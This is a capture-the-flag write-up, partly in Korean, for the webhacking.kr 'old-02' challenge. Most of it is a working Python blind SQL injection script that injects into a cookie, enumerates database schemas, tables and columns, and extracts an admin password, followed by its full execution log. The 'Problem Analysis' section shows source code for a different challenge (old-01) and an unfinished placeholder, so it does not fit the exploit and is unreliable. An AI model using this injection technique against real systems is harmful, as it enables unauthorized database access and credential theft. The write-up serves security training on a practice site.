old-02

Problem Analysis

old-01-problem

문제를 확인하면, 이 페이지에서는 사용자의 입력을 받는 부분이 따로 나타나지 않기 때문에, 바로 view-source 링크를 클릭하여 코드를 확인합니다.

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

작성 예정입니다. ***

Implementation

import requests
import login
import sys

def blindSqlInjection(iteration, sql):
    print "[*] SQL: " + sql
    result = None

    originalTime = session.cookies["time"]
    for idx in iteration:
        cookies = { "time": originalTime + " AND (" + sql.format(idx=hex(idx)) + ")" }
        response = requests.get(url=url, cookies=cookies)
        if trueString in response.text:
            print "[!] Found it: " + str(idx)
            result = idx
            break
    
    return result

def getAdminPassword():
    adminPassword = None

    print "[*] Find Database Count"
    databaseCount = blindSqlInjection(range(1, 20), "SELECT count(distinct(table_schema))={idx} FROM information_schema.tables")
    for databaseIndex in range(databaseCount):
        print "[*] Find Database Name Length"
        databaseNameLength = blindSqlInjection(range(1, 20), "SELECT length(table_schema)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT %d, 1" % databaseIndex)
        if databaseNameLength == len("information_schema"):
            print "[-] Skip information_schema"
            continue

        print "[*] Find Database Name"
        databaseName = ""
        for databaseNameIndex in range(1, databaseNameLength+1):
            databaseName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(table_schema, %d, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT %d, 1" % (databaseNameIndex, databaseIndex)))
        print "[+] Database Name: " + databaseName

        print "[*] Find Table Count"
        tableCount = blindSqlInjection(range(1, 20), "SELECT count(table_name)={idx} FROM information_schema.tables WHERE table_schema = '%s'" % databaseName)
        print "[+] Table Count: " + str(tableCount)

        print "[*] Find Table Name Length"
        for tableIndex in range(tableCount):
            tableNameLength = blindSqlInjection(range(1, 20), "SELECT length(table_name)={idx} FROM information_schema.tables WHERE table_schema = '%s' LIMIT %d, 1" % (databaseName, tableIndex))
            print "[+] Table Name Length: " + str(tableNameLength)

            print "[*] Find Table Name"
            tableName = ""
            for tableNameIndex in range(1, tableNameLength+1):
                tableName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(table_name, %d, 1)={idx} FROM information_schema.tables WHERE table_schema = '%s' LIMIT %d, 1" % (tableNameIndex, databaseName, tableIndex)))
            print "[+] Table Name: " + tableName

            print "[*] Find Column Count"
            columnCount = blindSqlInjection(range(1, 20), "SELECT count(table_name)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s'" % (databaseName, tableName))
            print "[+] Column Count: " + str(columnCount)

            print "[*] Find Column Name Length"
            for columnIndex in range(columnCount):
                columnNameLength = blindSqlInjection(range(1, 20), "SELECT length(column_name)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s'" % (databaseName, tableName))

                print "[*] Find Column Name"
                columnName = ""
                for columnNameIndex in range(1, columnNameLength+1):
                    columnName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(column_name, %d, 1)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s' LIMIT %d, 1" % (columnNameIndex, databaseName, tableName, columnIndex)))
                print "[+] Column Name: " + columnName

                print "[*] Find Data Count"
                dataCount = blindSqlInjection(range(1, 20), "SELECT count(*)={idx} FROM %s.%s" % (databaseName, tableName))
                print "[+] Data Count: " + str(dataCount)

                print "[*] Find Data Name Length"
                for dataIndex in range(dataCount):
                    dataNameLength = blindSqlInjection(range(1, 20), "SELECT length(%s)={idx} FROM %s.%s LIMIT %d, 1" % (columnName, databaseName, tableName, dataIndex))
                    print "[+] Data Name Length: " + str(dataNameLength)

                    dataName = ""
                    for dataNameIndex in range(1, dataNameLength+1):
                        dataName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(%s, %d, 1)={idx} FROM %s.%s LIMIT %d, 1" % (columnName, dataNameIndex, databaseName, tableName, dataIndex)))
                    
                    if "beist" in dataName:
                        print "[!] Admin Password: " + dataName
                        return dataName

    return adminPassword

if __name__ == "__main__":
    print "[+] Login and get session"
    session = login.getLoginSession()

    print "[+] Set URL"
    url = "https://webhacking.kr/challenge/web-02/"
    print "[*] " + url

    print "[+] Get default cookies"
    session.get(url)

    print "[*] Expected SQL: SELECT from_unixtime($_COOKIE[\"time\"])"
    print "[*] Expected Return"
    print "[-]   False: 09:00:00"
    print "[+]   True:  09:00:01"
    trueString = "09:00:01"

    adminPassword = getAdminPassword()

response = session.post(url+"admin.php", data={"pw": adminPassword})
print response.text

Execution Result

[+] Login and get session
[+] Set URL
[*] https://webhacking.kr/challenge/web-02/
[+] Get default cookies
[*] Expected SQL: SELECT from_unixtime($_COOKIE["time"])
[*] Expected Return
[-]   False: 09:00:00
[+]   True:  09:00:01
[*] Find Database Count
[*] SQL: SELECT count(distinct(table_schema))={idx} FROM information_schema.tables
[!] Found it: 2
[*] Find Database Name Length
[*] SQL: SELECT length(table_schema)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 6
[*] Find Database Name
[*] SQL: SELECT substr(table_schema, 1, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 99
[*] SQL: SELECT substr(table_schema, 2, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 104
[*] SQL: SELECT substr(table_schema, 3, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_schema, 4, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(table_schema, 5, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(table_schema, 6, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 50
[+] Database Name: chall2
[*] Find Table Count
[*] SQL: SELECT count(table_name)={idx} FROM information_schema.tables WHERE table_schema = 'chall2'
[!] Found it: 2
[+] Table Count: 2
[*] Find Table Name Length
[*] SQL: SELECT length(table_name)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 13
[+] Table Name Length: 13
[*] Find Table Name
[*] SQL: SELECT substr(table_name, 1, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 2, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 100
[*] SQL: SELECT substr(table_name, 3, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 109
[*] SQL: SELECT substr(table_name, 4, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 105
[*] SQL: SELECT substr(table_name, 5, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 110
[*] SQL: SELECT substr(table_name, 6, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(table_name, 7, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 8, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 114
[*] SQL: SELECT substr(table_name, 9, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 101
[*] SQL: SELECT substr(table_name, 10, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 11, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(table_name, 12, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 112
[*] SQL: SELECT substr(table_name, 13, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 119
[+] Table Name: admin_area_pw
[*] Find Column Count
[*] SQL: SELECT count(table_name)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw'
[!] Found it: 1
[+] Column Count: 1
[*] Find Column Name Length
[*] SQL: SELECT length(column_name)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw'
[!] Found it: 2
[*] Find Column Name
[*] SQL: SELECT substr(column_name, 1, 1)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw' LIMIT 0, 1      
[!] Found it: 112
[*] SQL: SELECT substr(column_name, 2, 1)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw' LIMIT 0, 1      
[!] Found it: 119
[+] Column Name: pw
[*] Find Data Count
[*] SQL: SELECT count(*)={idx} FROM chall2.admin_area_pw
[!] Found it: 1
[+] Data Count: 1
[*] Find Data Name Length
[*] SQL: SELECT length(pw)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 17
[+] Data Name Length: 17
[*] SQL: SELECT substr(pw, 1, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 107
[*] SQL: SELECT substr(pw, 2, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 117
[*] SQL: SELECT substr(pw, 3, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 100
[*] SQL: SELECT substr(pw, 4, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 111
[*] SQL: SELECT substr(pw, 5, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 115
[*] SQL: SELECT substr(pw, 6, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(pw, 7, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 116
[*] SQL: SELECT substr(pw, 8, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 111
[*] SQL: SELECT substr(pw, 9, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(pw, 10, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 98
[*] SQL: SELECT substr(pw, 11, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 101
[*] SQL: SELECT substr(pw, 12, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 105
[*] SQL: SELECT substr(pw, 13, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 115
[*] SQL: SELECT substr(pw, 14, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 116
[*] SQL: SELECT substr(pw, 15, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(pw, 16, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(pw, 17, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 98
[!] Admin Password: kudos_to_beistlab